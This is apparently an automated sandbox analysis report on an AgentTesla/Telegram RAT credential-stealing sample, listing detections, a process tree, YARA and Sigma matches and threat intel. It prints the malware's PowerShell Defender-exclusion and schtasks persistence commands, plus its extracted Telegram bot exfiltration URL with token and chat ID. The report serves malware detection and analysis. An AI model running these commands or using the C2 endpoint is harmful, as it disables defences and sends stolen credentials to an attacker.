Edit tour

Windows Analysis Report
z1E-catalogSamples.exe

Overview

General Information

Sample name:	z1E-catalogSamples.exe
Analysis ID:	1428897
MD5:	2d9dfdb275d38155cba293dc619430fa
SHA1:	523f6a7040f3b330e708a3e84d48a18bdcd77110
SHA256:	9bf25ebe467e570fc91e2003b17061c765fcb54b6d505a7db43263981504fa5f
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected Telegram RAT

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Adds a directory exclusion to Windows Defender

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

z1E-catalogSamples.exe (PID: 4856 cmdline: "C:\Users\user\Desktop\z1E-catalogSamples.exe" MD5: 2D9DFDB275D38155CBA293DC619430FA)

powershell.exe (PID: 2780 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3496 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 3496 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

z1E-catalogSamples.exe (PID: 3472 cmdline: "C:\Users\user\Desktop\z1E-catalogSamples.exe" MD5: 2D9DFDB275D38155CBA293DC619430FA)

vZkoWbol.exe (PID: 6460 cmdline: C:\Users\user\AppData\Roaming\vZkoWbol.exe MD5: 2D9DFDB275D38155CBA293DC619430FA)

schtasks.exe (PID: 7272 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmpA1D5.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vZkoWbol.exe (PID: 7316 cmdline: "C:\Users\user\AppData\Roaming\vZkoWbol.exe" MD5: 2D9DFDB275D38155CBA293DC619430FA)

vZkoWbol.exe (PID: 7324 cmdline: "C:\Users\user\AppData\Roaming\vZkoWbol.exe" MD5: 2D9DFDB275D38155CBA293DC619430FA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendMessage?chat_id=1210558492"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.4526667510.0000000003157000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.4526667510.0000000003131000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.4526667510.0000000003131000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: z1E-catalogSamples.exe PID: 4856	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: z1E-catalogSamples.exe PID: 4856	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: z1E-catalogSamples.exe PID: 4856	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: z1E-catalogSamples.exe PID: 4856	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: z1E-catalogSamples.exe PID: 3472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: z1E-catalogSamples.exe PID: 3472	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: z1E-catalogSamples.exe PID: 3472	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: vZkoWbol.exe PID: 6460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vZkoWbol.exe PID: 6460	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: vZkoWbol.exe PID: 6460	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vZkoWbol.exe PID: 6460	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: vZkoWbol.exe PID: 7324	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vZkoWbol.exe PID: 7324	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vZkoWbol.exe PID: 7324	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.z1E-catalogSamples.exe.43b9e58.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.z1E-catalogSamples.exe.43b9e58.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.z1E-catalogSamples.exe.43b9e58.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.z1E-catalogSamples.exe.43b9e58.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x314ea:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3155c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x315e6:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31678:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x316e2:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31754:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x317ea:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3187a:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
7.2.vZkoWbol.exe.443ad98.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.vZkoWbol.exe.443ad98.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.2.vZkoWbol.exe.443ad98.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.vZkoWbol.exe.443ad98.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x314ea:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3155c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x315e6:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31678:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x316e2:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31754:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x317ea:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3187a:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
7.2.vZkoWbol.exe.4400378.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.vZkoWbol.exe.4400378.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.2.vZkoWbol.exe.4400378.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.vZkoWbol.exe.4400378.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x314ea:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3155c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x315e6:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31678:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x316e2:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31754:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x317ea:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3187a:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.z1E-catalogSamples.exe.437f438.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.z1E-catalogSamples.exe.437f438.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.z1E-catalogSamples.exe.437f438.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.z1E-catalogSamples.exe.437f438.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x314ea:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3155c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x315e6:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31678:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x316e2:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31754:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x317ea:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3187a:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
7.2.vZkoWbol.exe.443ad98.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.vZkoWbol.exe.443ad98.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.2.vZkoWbol.exe.443ad98.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.vZkoWbol.exe.443ad98.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x332ea:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6db0a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3335c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6db7c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x333e6:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6dc06:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33478:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6dc98:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x334e2:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6dd02:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33554:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6dd74:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x335ea:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6de0a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3367a:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6de9a:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
7.2.vZkoWbol.exe.4400378.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.vZkoWbol.exe.4400378.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.2.vZkoWbol.exe.4400378.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.vZkoWbol.exe.4400378.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x332ea:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dd0a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa852a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3335c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dd7c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa859c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x333e6:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6de06:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa8626:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33478:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6de98:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa86b8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x334e2:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6df02:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa8722:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33554:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6df74:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa8794:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x335ea:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e00a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa882a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x332ea:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6db0a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3335c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6db7c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x333e6:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6dc06:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33478:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6dc98:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x334e2:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6dd02:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33554:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6dd74:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x335ea:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6de0a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3367a:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6de9a:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x332ea:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dd0a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa852a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3335c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dd7c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa859c:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x333e6:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6de06:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa8626:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33478:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6de98:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa86b8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x334e2:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6df02:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa8722:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33554:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6df74:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa8794:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x335ea:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e00a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa882a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 29 entries

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2780, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp", ProcessId: 3496, ProcessName: schtasks.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\z1E-catalogSamples.exe", ParentImage: C:\Users\user\Desktop\z1E-catalogSamples.exe, ParentProcessId: 4856, ParentProcessName: z1E-catalogSamples.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe", ProcessId: 2780, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmpA1D5.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmpA1D5.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\vZkoWbol.exe, ParentImage: C:\Users\user\AppData\Roaming\vZkoWbol.exe, ParentProcessId: 6460, ParentProcessName: vZkoWbol.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmpA1D5.tmp", ProcessId: 7272, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2780, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp", ProcessId: 3496, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\z1E-catalogSamples.exe", ParentImage: C:\Users\user\Desktop\z1E-catalogSamples.exe, ParentProcessId: 4856, ParentProcessName: z1E-catalogSamples.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe", ProcessId: 2780, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

